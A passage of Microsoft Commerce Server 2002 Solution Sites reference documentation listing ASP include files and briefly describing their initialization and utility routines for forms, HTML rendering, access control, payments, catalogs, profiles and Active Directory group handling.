GetSiteConfigObject
This function creates, initializes, and returns a SiteConfig object.
GetSitePages
This function assigns friendly names to pages in the site. Friendly names are also used by PageSets and the GetSecurePagesDictionary function.
iGetWebServerPort
This function returns the Web server port number being used for the site. For Web farms, it is assumed that the sites on all servers are using the same port number.
InitPageSets
This function creates sets of related pages, which are returned in a Dictionary object, where each entry in the dictionary is a string of comma-separated page names.
InitSitePipelines
This function creates and initializes a Dictionary object with an entry for each pipeline configuration file (PCF) used in the site. It also establishes pipeline logging settings.
IsActiveDirectoryPresent
This function determines whether Active Directory is being used by the Profile Service, returning True if it is being used, and False otherwise.
JoinWebFarm
This sub adds the current Web server to the Web farm, if the machine is not already recognized as being so. This routine will run in the case where a site was replicated using Microsoft Application Center 2000, or other cases where the site was not installed using Commerce Site Packager.
sGetActiveDirectoryDefaultNamingContext
This function gets the Active Directory domain name.


Credit Card Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_creditcards_lib.asp

The following credit card processing initialization routines are defined in this file:

GetCreditCardCodesList
This function returns the same SimpleList object as the GetCreditCardNamesList function, except that the first item is set to the string "-1".
GetCreditCardFieldDefinitions
This function initializes and returns the form field definitions for credit card fields.
GetCreditCardNamesList
This function returns a SimpleList object that has the string corresponding to the MessageManager constant L_SelectOne_Text as the first item, and the names of the accepted credit cards as the subsequent items.


CSF Initialization Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_csf_lib.asp

The following Content Selection Framework initialization routine is defined in this file:

InitCSF
This sub creates and initializes the global context Dictionary objects and the event recording pipeline for the Content Selection Framework (CSF).


Data Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_data_lib.asp

The following data initialization routines are defined in this file:

GetDWConnectionString
This function returns the SQL Server OLEDB connection string for the Data Warehouse that corresponds to the Web site.
InitDataFunctions
This function creates a DataFunctions object and returns a reference to it, setting the default locale before returning.
oGetBizDataObject
This function creates an instance of the BusinessDataAdmin object and returns a reference to it, calling its Connect method before returning.
oGetGenIDObject
This function creates an instance of the GenID object and returns a reference to it.


Entry-Point Initialization Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_main_lib.asp

The following initialization entry-point routine is defined in this file:

Main
This sub serves as the entry point into the file global.asa, which creates and initializes many of the objects supplied by Commerce Server 2002. References to these objects are stored in the intrinsic Application object so that they can be retrieved and used from Web site pages.


Forms Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_forms_lib.asp

The following forms processing initialization routines are defined in this file:

dictGetPropertySchema
This function creates and returns a Dictionary object containing property attributes. These attributes are used in the application for standard form validations, rendering functions, and profile updates.
GetFormDefinitions
This function returns a Dictionary object of field definitions (including variables such as maximum and minimum field lengths, whether the field is required, and so on) for the following fields: Login, Registration, BillToAddress, ShipToAddress, AddressBookAddress, CreditCard, and PurchaseOrder.
GetLoginFieldDefinitions
This function returns the login form field definitions.
GetPasswordFieldDefinition
This function returns a Dictionary object of field definitions for the password field in the new user and login forms. The field definitions include size constraint settings, invalid characters, and so on.
GetPurchaseOrderFieldDefinitions
This function returns a Dictionary object of form field definitions, including name, size constraint settings, and so on. A billing currency field is created if an alternate currency can be used on the site.
GetRegistrationFieldDefinitions
This function returns a Dictionary object of field definitions for the registration form.


Internationalization Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_internationalization_lib.asp

The following internationalization initialization routines are defined in this file:

GetBillToCurrenciesListItems
This function creates and returns a SimpleList object containing three items: the MessageManager "L_SelectOne_Text" message, the base currency symbol, and the alternate currency symbol.
GetBillToCurrenciesListValues
This function creates and returns a SimpleList object containing three items: the integer –1, the base currency code, and the alternate currency code.
GetBillToCurrencyFieldDefinition
This function initializes the form field definitions for the bill-to currency field.
GetCountryCodesList
This function returns a SimpleList object that has "-1" as the first item, and the codes corresponding to the countries returned by the GetCountryNamesList method of the AppConfig object as the subsequent items.
GetCountryNamesList
This function returns a SimpleList object that has the string corresponding to the MessageManager constant L_SelectOne_Text as the first item, and the names of the countries returned by the GetCountryNamesList method of the AppConfig object as the subsequent items.
InitAltCurrencyDisp
This function creates, initializes, and returns a EuroDisplay object. This enables the display of the Euro as an alternate currency.


MessageManager Initialization Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_messagemanager_lib.asp

The following MessageManager object initialization routine is defined in this file:

GetMessageManagerObject
This function reads the MessageManager object entries from the file rc.xml.


Prediction Initialization Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_predictor_lib.asp

The following prediction initialization routine is defined in this file:

InitPredictor
This function creates, initializes, and returns a PredictorClient object. Before returning, it also loads the Transaction prediction model from the Data Warehouse, and sets prediction properties.


Product Catalog Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_catalog_lib.asp

The following product catalog initialization routines are defined in this file:

dictGetCatalogAttributes
This function retrieves all the property definitions that exist in the Product Catalog System and places them in a Dictionary object for fast access.
dictGetRSFields
This function creates and returns a Dictionary object containing items whose values correspond to the field values of the Recordset object specified by the rs parameter.
InitCatalogManager
This function creates, initializes, and returns a CatalogManager object.
InitCatalogSets
This function creates and initializes a CatalogSets object. Then it creates, initializes, and returns a reference to a Dictionary object of Dictionary objects, where each subordinate dictionary represents a CatalogSets object, and each entry in the subordinate dictionaries represents a catalog in the corresponding CatalogSets object.


Profiles Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_profile_lib.asp

The following profiles initialization routines are defined in this file:

AddGroupAndPropertySchemas
This sub recursively adds all group and property definitions for a profile to a flat list of Dictionary objects contained in a SimpleList object.
dictGetProfileSchemaForAllProfileTypes
This function returns a Dictionary object containing the schema for all profile types.
InitAuthManager
This function creates an AuthManager object and returns a reference to it.
InitProfileService
This function creates and initializes a ProfileService object, and returns a reference to it.
listGetProfileSchema
This function creates and returns a SimpleList object of Dictionary objects that represent the schema specified by the parameters.
oGetOpenConnectionObject
This function creates an ADO Connection object and returns a reference to it, opening a connection to the Commercer Server OLEDB Provider before returning.
oGetProfile
This function returns an XML DOMDocument object that contains the profile specified by the sProfileName parameter.


Site Terms Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_siteterms_lib.asp

The following site terms initialization routines are defined in this file:

bIsSiteTerm
This function determines whether the specified property is a site term.
oGetSiteTermOptions
This function returns a SimpleList object of Dictionary objects, where each dictionary contains a single key/value pair. Each key/value pair represents the display name and value of one site term choice associated with the property specified by the sPropertyName parameter.
sGetReferenceString
This function returns the reference string attribute value for a given property element.


Styles Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\global_ui_lib.asp

The following styles initialization routines are defined in this file:

GetSiteStyles
This function returns the site styles, which are used by HTML library functions.
GetStyles
This function returns a Dictionary object containing the size attribute for standard text and password boxes.


General Utility Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The utility routines appropriate for use on all Web pages, including the customer and partner services pages, can be divided into the following categories, which also correspond to the files in which they are defined.

This section contains:

  • Address Book Routines
  • Analysis Routines
  • Authentication and Access Control Routines
  • Cache Routines
  • Cookie Routines
  • Date Routines
  • Forms Routines for Solution Sites
  • HTML Routines for Solution Sites
  • Miscellaneous Routines
  • Order Routines
  • Payment Routines
  • Pipeline Routines
  • Product Catalog Routines
  • Profile Routines
  • String Routines
  • URL Routines


Address Book Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\addr_lib.asp

The following address book processing utility routines are defined in this file:

GetAddresses
This function returns a Recordset object of address information for either a user or an organization, based on the value of the sAddrParentID parameter.
GetAddressType
This function returns the address type from the request variable ADDRESS_TYPE.
GetOrganizationAddresses
This function serves as a wrapper function to the GetAddresses function, passing the sOrgID parameter to retrieve the corresponding address as a Recordset object.
GetUserAddresses
This function retrieves the address for a user. It calls the more generic GetAddresses function to retrieve and return the required address as a Recordset object.
IsZipCodeValid
This function determines whether the basic format of the zip code specified by the sZipCode parameter is correct, returning True if so, and False otherwise. For additional information, see the Remarks.
LookupRegion
This function returns the region name associated with the passed parameters. The sRegion parameter might specify a region name, in which case that name is returned, or it might specify a region code, in which case the corresponding region name is returned. If the region name cannot be determined, Null is returned.


Analysis Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\analysis.asp

The following analysis-related utility routines are defined in this file:

Analysis_ConstructKeyValueString
This function constructs a key/value pair for the "submit order" Commerce event.
Analysis_ConstructPRID
This function constructs the property string for "add to basket" and "remove from basket" Commerce events.
Analysis_LogAddToBasket
This sub logs a Commerce event (CEVT) when an item is added to the basket.
Analysis_LogEvent
This function logs a Commerce event (CEVT) to the Web server log file.
Analysis_LogRemoveFromBasket
This sub logs a Commerce event (CEVT) when an item is removed from the basket.
Analysis_LogSubmitOrder
This sub logs a Commerce event when an order is submitted.


Authentication and Access Control Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_access_lib.asp

The following authentication-related utility routines are defined in this file:

CheckPartnerServiceAccess

This sub implements page-level access control. It grants access to users who have their PartnerDeskRoleFlags set to ROLE_ADMIN. All others are redirected to an error page.

EnsureAccess
This sub implements page-level access control. It grants access to users who are either authenticated to Internet Information Services (IIS), using Basic/Integrated Windows authentication, or have tickets. Call this sub from within the Main subroutine on every page that requires such access control. A call to this sub must appear before any other statement in the Main subroutine.
EnsureAuthAccess
This function implements page-level access control. It grants access to users who are either authenticated to Internet Information Services (IIS), using Basic/Integrated Windows authentication, or have an AUTH_TICKET. Call this function from within the Main subroutine on every page that requires such access control. A call to this function must appear before any other statement in the Main subroutine.
GetAuthManagerObject
This function creates, initializes, and returns an AuthManager object.
GetUserInfo
This sub, called from the include\setupenv.asp file, assigns the user ID, user type and user access type into the following global variables: m_userid, m_UserType, and m_UserAccessType.
IsFormLoginRequired
This function determines whether login is required on the current page. It returns True if logging in is always required, or if logging in is required for a purchase and the current page is in the purchase page set. Otherwise, it returns False.
IsPersistentCookieAllowed
This function determines whether persistent cookies are enabled in the current user's browser, returning True if so, and False otherwise. A test cookie and page redirection are used to make the determination.
sGetUserIDForNewGuestUser
This function gets the user ID for a new anonymous user.


Cache Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_cache_lib.asp

The following cache-related utility routines are defined in this file:

CacheFragment
This sub caches an HTML fragment.
CacheObject
This sub caches the specified object.
LookupCachedFragment
This function searches the LRUCache object specified by the sCacheName parameter for the fragment (a string) associated with name specified by the sCacheItemName parameter, returning the fragment if it is found, and Null otherwise.
LookupCachedObject
This function searches the LRUCache object specified by the sCacheName parameter for the object associated with name specified by the sCacheItemName parameter, returning the object if it is found, and Nothing otherwise.


Cookie Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_cookie_lib.asp

The following cookie processing utility routines are defined in this file:

CorrectRequest
This sub corrects a cookie for URL case-sensitivity.
GetCorrectedCookiePath
This function converts the case of a cookie path to match the Internet Information Services (IIS) application name, returning True if any character case was converted, and False otherwise.
GetCorrectedHostName
This function corrects the host name in the url parameter, if needed. It returns True if the host name was corrected, and False otherwise.
GetIISApplicationName
This function returns the Internet Information Services (IIS) application name.
GetRequestType
This function returns the type of request (POST or GET).
SetTestCookie
This sub sets a test cookie to learn if a browser allows cookies.


Date Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_dates_lib.asp

The following date processing utility routines are defined in this file:

GetMonthCodesList
This function returns a list of numeric month codes.
GetMonthNamesList
This function returns a list of month names.
GetYearsListItems
This function creates and returns a SimpleList object of items. The first item contains the MessageManager object "L_SelectOne_Text" message; the next item contains the current year; the following four items contain the next four year values (for example, if the current year is 2002, then the four items would contain 2003 through 2006).
GetYearsListValues
This function creates and returns a SimpleList object of items. The first item contains the integer "-1"; the next item contains the current year; the next four items contain the next four year values (for example, if the current year is 2002, then the four items would contain 2003 through 2006).


Forms Routines for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

For conceptual information about how forms are constructed and processed in the Solution Sites, see Forms Processing for Solution Sites.

include\form_lib.asp

The following forms processing utility routines are defined in this file:

bMatchesPattern
This function checks whether the value specified by the sValue parameter matches the expression specified by the sPattern parameter. If a match is found, this function returns True; otherwise it returns False.
GetFieldsErrorDictionary
This function returns a Dictionary object. The keys are the names of the form post fields and the values are the associated field validation error messages. Examples of errors include empty fields where input is required, incorrect password length, invalid characters, and so on.
GetSubmittedFieldValues
This function retrieves form post values from the request, based on the expected fields specified by the listFlds parameter, placing them in a Dictionary object where the corresponding keys are the names of the fields.
htmRenderFillOutForm
This function prepares the HTML that renders the form specified by the sFormName parameter in the forms Dictionary object stored in the intrinsic Application object, which is under the name "MSCSForms".
IsFormSubmitted
This function is used to test whether the current request contains a query string or form post variable with the name "mode" that has a value that can be successfully converted to a number.


HTML Routines for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

For conceptual information about how HTML is constructed in the Solution Sites, see HTML Construction for Solution Sites.

include\html_lib.asp

The following HTML processing utility routines are defined in this file:

Bold
This function surrounds the string specified by the s parameter with the tags "<B>" and "</B>", and then returns the resulting string.
BRTag
This function appends the <BR> tag to the end of the string specified by the s parameter, and then returns the resulting string.
GetRepeatStyle
This function creates an array with the number of array elements specified by the iCount parameter. Each array element is assigned the attribute string specified by the sAttList parameter. This is used to construct a table style array initialized to a common value.
InsertBlankSpace
This function returns a string containing space characters, where the number of space characters is equal to the number of items in the passed array.
InsertLineBreaks
This function returns a string containing a concatenation of each of the strings in the passed array, separated by BR elements, and ending with a BR element. In other words, it concatenates the strings in the array, appending a <BR> tag to each string in the process.
InsertParagraphBreaks
This function returns a string containing a concatenation of each of the strings in the passed array, where each source string is wrapped in a P element. In other words, it concatenates the strings in the array, prepending a <P> tag to the beginning of each source string and appending a </P> tag to the end of each source string.
Italic
This function surrounds the string specified by the s parameter with the tags <I> and </I> and then returns the resulting string.
PTag
This function surrounds the string specified by the s parameter with the tags <P> and </P>, and then returns the resulting string.
RenderCheckBox
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "CHECKBOX", and for which other attribute values are supplied by the parameters.
RenderElement
This function prepares the HTML that will render an arbitrary HTML element and its associated attributes and content, as specified by the parameters.
RenderForm
This function prepares the HTML that will render the specified HTML form.
RenderHiddenField
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "HIDDEN", and for which other attribute values are supplied by the parameters.
RenderImage
This function prepares the HTML that will render an IMG element for which other attribute values are supplied by the parameters.
RenderImageButton
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "IMAGE", and for which other attribute values are supplied by the parameters.
RenderLink
This function prepares the HTML that will render a link (an HTML A element) for which the attribute values and hot text are supplied by the parameters.
RenderListBox
This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters.
RenderListBoxFromArray
This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters. It serves as a wrapper for the function RenderListBox, hardcoding the iSource parameter to the constant ARRAY_COLLECTION, and passing through all other parameters as is.
RenderListBoxFromSimpleList
This function prepares the HTML that will render a SELECT element and its subordinate OPTION elements, populating the values for the various attributes and content based on the values supplied by the parameters. It serves as a wrapper for the function RenderListBox, hardcoding the iSource parameter to the constant SIMPLELIST_COLLECTION, and passing through all other parameters as is.
RenderListFromSimpleList
This function prepares the HTML that will render a sequence of formatted text items, each followed by the BR element.
RenderPasswordBox
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "PASSWORD", and for which other attribute values are supplied by the parameters.
RenderPreFormattedText
This function prepares the HTML that will render the passed string as pre-formatted text.
RenderRadioButton
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "RADIO", and for which other attribute values are supplied by the parameters.
RenderResetButton
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "RESET", and for which other attribute values are supplied by the parameters.
RenderSubmitButton
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "SUBMIT", and for which other attribute values are supplied by the parameters.
RenderTable
This function prepares the HTML that will render a TABLE element for which the attributes and content are supplied by the parameters.
RenderTableDataRow
This function prepares the HTML that will render a row of data within a table. In other words, a series of TD elements wrapped in a TR element. It serves as a wrapper for the function RenderTableRow, hardcoding the iRowType parameter to the constant DATA_ROW, and passing through all other parameters as is.
RenderTableHeaderRow
This function prepares the HTML that will render a header row within a table. In other words, a series of TH elements wrapped in a TR element. It serves as a wrapper for the function RenderTableRow, hardcoding the iRowType parameter to the constant HEADER_ROW, and passing through all other parameters as is.
RenderTableRow
This function prepares the HTML that will render a header or data row within a table. In other words, a series of either TH or TD elements wrapped in a TR element. It performs the real work for the functions RenderTableHeaderRow and RenderTableDataRow, which hardcode the iRowType parameter to the constants HEADER_ROW and DATA_ROW, respectively, and passing through all other parameters as is.
RenderText
This function prepares the HTML that will render the specified string wrapped in FONT tags, and assigned the specified FONT-specific attributes.
RenderTextBox
This function prepares the HTML that will render an INPUT element for which the TYPE attribute has been given a value of "TEXT", and for which other attribute values are supplied by the parameters.
RenderUnorderedList
This function prepares the HTML that will render an unordered list from the data in the passed array. In other words, a series of LI elements wrapped in a UL element.
RenderUnorderedListFromSimpleList
This function prepares the HTML that will render a series of list elements from the data in the passed SimpleList object. In other words, a series of LI elements.
Tag
This function encloses the text segment between a beginning and an ending HTML tag.


Miscellaneous Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_util_lib.asp

The following miscellaneous utility routines are defined in this file:

ConvertListToArray
This function converts a SimpleList object to an array.
CreateSet
This function creates a set from an array of items.
DoubleQuote
This function applies double quotes to a string.
FormatOutput
This function formats a string, replacing variables in the sTemplate parameter of the form %1, %2, and so on, with strings supplied in the arrArgs array parameter.
GetAddressPage
This function returns the name of the page used to enter or select an address. If the user is an anonymous user or if address book functionality is disabled, the name of the address form page is returned. Otherwise, the name of the address book page is returned.
GetArrayFromList
This function creates and returns an array containing the items in the specified SimpleList object.
GetDictionary
This function creates and returns a Dictionary object.
GetDiscountDescription
This function searches the content list and returns the description of the discount that has been applied to the item.
GetErrorSource
This function returns the site and function names of the error source.
GetFileSystemObject
This function creates and returns a Scripting.FileSystemObject object.
GetKeyValue
This function returns the value part of a key/value pair line in an INI file.
GetListItemIndex
This function returns the index of the specified item in the list.
GetObjectInstanceDictionary
This function creates and returns a Dictionary object. The Dictionary object contains an item called "Dictionary" that contains an empty Dictionary object. The Dictionary object also contains an item called "SimpleList" that contains an empty SimpleList object.
GetQualifiedName
This function constructs a qualified name from the group name and fieldname, resulting in a string of the form sGroupName.sFieldName.
GetRecordCount
This function returns the number of records in the specified Recordset object.
GetRegExp
This function creates and returns the VBScript.RegExp object.
GetSimpleList
This function creates and returns a SimpleList object.
htmRenderCurrency
This function renders a monetary value, using the base currency setting. It will also render the monetary value and the alternate currency for the site (for example, the Euro) depending on the settings of the site.
IsBitValueSet
This function determines whether every bit in the iBitValue parameter is also set in the iValue parameter, returning True if so, and False otherwise.
IsEntityInArray
This function determines whether the string specified by the sEntity parameter is equal to one of the strings in the array specified by the arrItems parameter, returning True if so, and False otherwise.
IsEntityInList
This function determines whether the string specified by the sEntity parameter is equal to one of the strings in the SimpleList object specified by the list parameter, returning True if so, and False otherwise.
IsEntityInSet
This function determines whether the string specified by the sEntity parameter is equal to one of the substrings in the comma-separated string specified by the sSet parameter, returning True if so, and False otherwise.
IsNumberInRange
This function determines whether the number specified by the iNumber parameter is in the range specified by the iMin and iMax parameters (inclusive), returning True if so, and False otherwise.
RsToDict
This function creates a new Dictionary object and populates it with the fields of the current record in the passed Recordset object. The field names are used as the dictionary keys, and the field values are assigned to the corresponding keys.
SortDictionaryKeys
This function sorts the keys for a Dictionary object and puts the result into a SimpleList object.


Order Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_ordergrp_lib.asp

The following order processing utility routines are defined in this file:

AddDiscountMessages
This sub adds a footnote symbol for each discount applied to each line item. The footnote symbol is a "D" plus the campaign ID.
GetAnyLineItem
This function returns an arbitrary line item from the specified OrderGroup object, which is useful when all line items contain similar information. This is accomplished by searching each OrderForm object in the specified OrderGroup object, and returning the first line item found.
GetAnyOrderForm
This function searches the specified OrderGroup object, and returns the first OrderForm object it finds.
GetErrorCount
This function returns the error count in each order form.
GetLineItemsCount
This function returns the number of items in the basket.
GetOrderGroup
This function returns an initialized OrderGroup object.
GetOrderGroupManager
This function returns an OrderGroupManager object.
LoadBasket
This function retrieves and returns the OrderGroup object associated with the current user, calling its LoadBasket method before returning.
RemoveEmptyOrderForms
This sub removes empty OrderForm objects from the specified OrderGroup object.
SetKeyOnOrderForms
This sub sets the key on order forms.


Payment Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\payment.asp

The following payment processing utility routines are defined in this file:

CatchErrorsForPaymentPages
This sub redirects the user to the appropriate page if an error is encountered when initializing the credit card or purchase order pages.
CheckOut
This function runs the basket, total, and checkout pipelines.
EnsureSupportForPaymentMethod
This sub checks whether the selected payment method is supported for the user; if it is not, the user is redirected to the default payment method page for the user.
GetDefaultPaymentMethodForUser
This function returns the first payment method in the passed SimpleList object.
GetPaymentMethodDisplayName
This function returns the display name for the specified payment method.
GetPaymentMethodsForUser
This function returns the payment methods for the user.
GetPaymentPageFromPaymentMethod
This function returns the friendly name of either the crdtcard.asp or po.asp page, depending on the value of the sPaymentMethod parameter.
GetXMLForVendorItems
This function creates and returns an XML document containing the line items corresponding to the specified order form and vendor. The oVendor parameter is a list of line items to be associated with a vendor, and is generated in the Splitter component of the checkout pipeline.
htmRenderPaymentOptionsForUser
This function renders the payment options for the user.
InvokeBizTalk
This sub submits purchase orders to the appropriate vendors using BizTalk Server when BizTalk Server integration is enabled.
SaveBasketAsOrder
This sub saves the basket as an order and deletes old baskets. It also invokes the BizTalk Server as appropriate, and calls the routine Analysis_LogSubmitOrder for analysis purposes.
SubmitUsingBizTalk
This function submits an order using the Submit method of the BizTalk Server Interchange object.


Pipeline Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_pipeline_lib.asp

The following pipeline utility routines are defined in this file:

GetPipelineLogFile
This function returns the log file path along with the user ID in the file name.
RunMtsPipeline
This function runs one of four pipelines on the passed OrderGroup object: Product, Basket, Total, or Checkout. It establishes the appropriate context dictionary and logging support prior to running the pipeline.


Product Catalog Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\catalog.asp

The following product catalog utility routines are defined in this file:

EnsureUserHasRightsToCatalog
This sub ensures that the user has access rights to the given catalog. If not, the user is redirected to the "bad catalog item" error page (error\baditem.asp).
GetCatalogForUser
This function returns the ProductCatalog object specified by the sCatalogName parameter. If the user does not have rights to this catalog, the user is redirected to the "bad catalog item" error page (error\baditem.asp).
GetPriceAndCurrency
This sub retrieves both the price and a formatted price string for a product.
htmRenderCatalogList
This function creates a string that contains a series of links to different catalogs, separated by carriage returns.
htmRenderCategoriesList
This function creates the HTML representation of a list of links to the categories within the passed Recordset object.
htmRenderCategoryPage
This function renders a category page, which lists subcategories and products within a category.
htmRenderProductsTable
This function renders a Recordset object containing products in a table format. The table has the following four columns: identifying property (for example SKU), name, description, and price. If the identifying property and name are the same, only three columns are shown.
mscsGetCategoryObject
This function gets the Category object for the given category name. If the category name is "" (meaning the root category), this function returns Nothing, as the catalog does not have a Category object for the root category.
mscsGetProductList
This function returns the product Recordset object for a specified category, using the specified paging information.
mscsGetSubCategoriesList
This function returns the child categories Recordset object for the Category object specified by the oCategory parameter.
mscsUserCatalogs
This function returns a Recordset object that contains the catalogs associated with the current user.
mscsUserCatalogsetID
This function returns the ID of the catalog set associated with the current user. If it is not found, the ID of the catalog set associated with the user's organization is returned. If it is not found, the ID of the default catalog set for the type of the current user is returned.
mscsUserCatalogsFromID
This function returns a Recordset object containing the catalogs associated catalog set ID specified by the CatalogSetID parameter.
RenderCatalogLink
This function prepares the HTML that will render a link to the specified catalog, using the specified FONT element attributes for the link text style.
RenderCatalogURL
This function constructs the URL for a catalog. This produces the same result as calling the RenderCategoryURL function with an empty string for the sCategory parameter and the number one (1) for the nPage parameter.
RenderCategoryLink
This function prepares the HTML that will render a link to the specified catalog, category, and page number, using the specified FONT element attributes for the link text style.
RenderCategoryURL
This function constructs the URL for a category by appending the specified catalog, category, and page number as arguments to the category page URL stored in the MSCSSitePages Dictionary object.
RenderProductLink
This function prepares the HTML that will render a link to the product specified by the parameters, using the specified FONT element attributes for the link text style.
RenderProductURL
This function constructs the URL for the specified product.
RenderSearchResultRow
This function prepares the HTML that will render the current record from a Recordset object containing search results.
RenderSearchResults
This function prepares the HTML that will render the search results contained in the passed Recordset object.
rsFreeTextSearch
This function performs a free text search and returns the results as a Recordset object. The number of records retrieved is set in the iRecordCount parameter.
sUserCatalogsAsString
This function retrieves the catalogs associated with a user as a comma-separated list, suitable for passing to various catalog methods that accept a list of catalogs as a parameter.


Profile Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_profile_lib.asp

The following profile utility routines are defined in this file:

EnsureUpToDateUserProfile
This sub retrieves the profile of the user from the cache if it is up-to-date. Otherwise, the profile is retrieved from the Profiles store.
EnsureUserProfile
This function ensures that the profile of the user exists. If not, the user is redirected to the "missing profile" error page (error\profile.asp).
GetCurrentUserProfile
This function gets the profile of the current user, if the user has one. This function also ensures that the profile returned is the latest version available on the Web farm.
GetNewGuestUserProfile
If the privacy options of the Site Configuration dictionary is set to PROFILE_GUEST_USER, this function creates a new user profile, sets the user_id_changed_by field to the newly generated user ID, sets the user_type field to GUEST_PROFILE, the account_status field to ACCOUNT_ACTIVE, the partner_desk_role field to ROLE_USER, and the date_created field to the current time. After the profile is created, the function passes it to the UpdateUserProfile routine to perform common functions the sites require when saving profiles.
GetProfileFromDB
This sub retrieves the specified profile from the Profiles store.
GetProfileService
This function creates and initializes a ProfileService object.
GetUserProfileByLoginName
This function returns the profile for the given login name.
rsGetProfile
This function retrieves the specified profile and returns it in a Recordset object.
rsGetProfileByKey
This function retrieves the profile specified by the passed key name/value pair, and returns it in a Recordset object.
UpdateUserProfile
This sub updates the profile for the current user.


String Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_string_lib.asp

The following string processing utility routines are defined in this file:

BooleanToString
This function converts a Boolean value to a string value.
RemoveBlankItemsFromArray
This sub copies all non-empty strings from the array specified by the arrItems parameter into the array specified by the arrNew parameter, discarding any previous contents of the latter.
sChopOffLeft
This function deletes the left section of the sValue parameter string corresponding to the sToChopOffLeft parameter string, providing that the sValue parameter string begins with the sToChopOffLeft parameter string.
sChopOffRight
This function deletes the right section of the sValue parameter string corresponding to the sToChopOffRight parameter string, providing the sValue parameter string ends with the sToChopOffRight parameter string.
Space
This function counts spaces and renders the appropriate number of HTML spaces (&nbsp).
StringToBoolean
This function converts a String to a Boolean.


URL Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

include\std_url_lib.asp

The following URL processing utility routines are defined in this file:

AddURLArguments
This function appends property/value pairs to a URL string.
GenerateURL
This function checks whether the page is defined as supporting the Secure Socket Layer (SSL) protocol, and whether the ticket is stored in a cookie or in the URL. This information, along with the parameters, is passed to the GetURL method of the AuthManager object.
GetRequestString
This function removes double quotes, and opening and closing element characters (< and >) from strings obtained through the Request object.
GetRequestStringRange
This function removes double quotes, and opening and closing element characters (< and >) from strings obtained through the Request object. This function also ensures that the requested string is within the length range specified by the iMinLength and iMaxLength parameters.
GetTicketInUrlArg
This function retrieves the ticket from a URL string.
GetTicketLocation
This function returns the location of a ticket.


Services Utility Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The utility routines appropriate for use only on the customer and partner services Web pages can be divided into the following categories, which also correspond to the sets of files in which they are defined.

This section contains:

  • Services Active Directory Routines
  • Services Edit Page Routines
  • Services List Page Routines
  • Services Initialization Routines
  • Services Message Box Routines
  • Services Miscellaneous Routines
  • Services Order Routines
  • Services Password Routines
  • Services Profile Routines


Services Active Directory Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\ad_routines.asp

The following customer and partner services utility routines are related to Active Directory processing, and are defined in this file:

bAddUserToGroup
This function adds a user to an existing Active Directory group.
bPaintACLForUser
This function paints access control lists (ACLs) for a user in an Active Directory store. This is achieved by adding or removing the user to or from <COMPANY_NAME>_ADMINGROUP or <COMPANY_NAME>_USERGROUP.
bRemoveUserFromGroup
This function removes a user from an Active Directory group.


Services Edit Page Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\edit_handlers.asp

The following customer and partner services utility routines are related to handling edit page processing, and are defined in this file:

DeleteAllActionHandler
This sub checks the user action on the DeleteAll message box page, and redirects to the profile list page with the appropriate parameters.
DeSelectAllActionHandler
This sub redirects the user in a "Select All" action.
GetStatusFieldAndID
This sub updates the status message for the "Save" action.
htmAddActionHandler
This function renders a blank edit page for any profile, and serves as a wrapper function to the htmRenderBlankEditPage function.
htmChangePasswordActionHandler
This function is called by EDIT-type pages for changing the user_security_password property. It is called before the execution is passed to the change_password.asp page.
htmCloseActionHandler
This function provides rendering for the "Close" action handler.
htmCopyActionHandler
This function provides rendering for the "Copy" action handler.
htmDeleteActionHandler
This function provides rendering for the "Delete" action handler.
htmEditAction
This function provides the "Edit" action handler. It supports single-edit, multi-edit, and SelectAll+Edit scenarios. Business logic to prepare for this display is in the PrepareEditAction subroutine.
htmEditAllProfiles
